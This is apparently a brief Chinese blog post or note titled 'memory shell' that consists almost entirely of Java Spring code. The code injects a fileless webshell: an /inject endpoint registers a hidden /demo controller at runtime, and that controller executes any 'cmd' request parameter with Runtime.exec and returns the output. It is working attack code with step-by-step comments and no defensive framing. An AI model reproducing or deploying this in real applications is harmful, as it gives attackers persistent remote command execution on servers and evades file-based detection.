内存马
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
@Controller
public class Demo {
@ResponseBody
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public void inject() throws NoSuchMethodException {
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/demo");
// 5. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
}
@ResponseBody
public class InjectToController {
public InjectToController(){
}
public String test() throws Exception {
// 获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
return str;
}
}
}
效果
